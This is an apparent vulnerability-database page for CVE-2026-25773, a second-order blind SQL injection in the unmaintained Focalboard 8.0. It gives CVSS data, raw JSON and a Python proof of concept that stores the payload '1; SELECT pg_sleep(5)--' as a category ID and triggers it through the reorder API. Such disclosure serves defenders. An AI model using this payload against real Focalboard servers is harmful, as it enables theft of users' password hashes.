Security Vulnerability Report
中文
CVE-2026-25773 CVSS 8.1 HIGH

CVE-2026-25773

Published: 2026-04-03 14:16:29
Last Modified: 2026-04-28 00:19:16

Description

** UNSUPPORTED WHEN ASSIGNED ** Focalboard version 8.0 fails to sanitize category IDs before incorporating them into dynamic SQL statements when reordering categories. An attacker can inject a malicious SQL payload into the category id field, which is stored in the database and later executed unsanitized when the category reorder API processes the stored value. This Second-Order SQL Injection (Time-Based Blind) allows an authenticated attacker to exfiltrate sensitive data including password hashes of other users. NOTE: Focalboard as a standalone product is not maintained and no fix will be issued.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:mattermost:focalboard:8.0.0:*:*:*:*:*:*:* - VULNERABLE
Focalboard 8.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "http://vulnerable-focalboard.com" auth_token = "YOUR_AUTH_TOKEN_HERE" # Obtained after login # Step 1: Inject the payload via Category Update API # The payload attempts to execute a time-based delay # Syntax depends on the underlying DB (Postgres/MySQL) malicious_category_id = "1; SELECT pg_sleep(5)--" update_headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } update_payload = { "id": malicious_category_id, "name": "PoC Category" } # Send the malicious payload to be stored # response = requests.patch(f"{target_url}/api/v2/boards/categories", headers=update_headers, json=update_payload) # print(f"Injection status: {response.status_code}") # Step 2: Trigger the execution by calling the Reorder API reorder_payload = { "categoryOrder": [malicious_category_id] } # The server will execute the SQL when processing this request # response = requests.post(f"{target_url}/api/v2/boards/categories/reorder", headers=update_headers, json=reorder_payload) # If response time is > 5 seconds, the injection is successful. print("PoC logic: Inject SQLi payload -> Trigger Reorder -> Observe Time Delay.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-25773", "sourceIdentifier": "[email protected]", "published": "2026-04-03T14:16:29.127", "lastModified": "2026-04-28T00:19:15.587", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "** UNSUPPORTED WHEN ASSIGNED ** Focalboard version 8.0 fails to sanitize category IDs before incorporating them into dynamic SQL statements when reordering categories. An attacker can inject a malicious SQL payload into the category id field, which is stored in the database and later executed unsanitized when the category reorder API processes the stored value. This Second-Order SQL Injection (Time-Based Blind) allows an authenticated attacker to exfiltrate sensitive data including password hashes of other users. NOTE: Focalboard as a standalone product is not maintained and no fix will be issued."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:focalboard:8.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "42087E46-C9CC-46D7-B424-55537457FE0A"}]}]}], "references": [{"url": "https://github.com/mattermost-community/focalboard", "source": "[email protected]", "tags": ["Product"]}]}}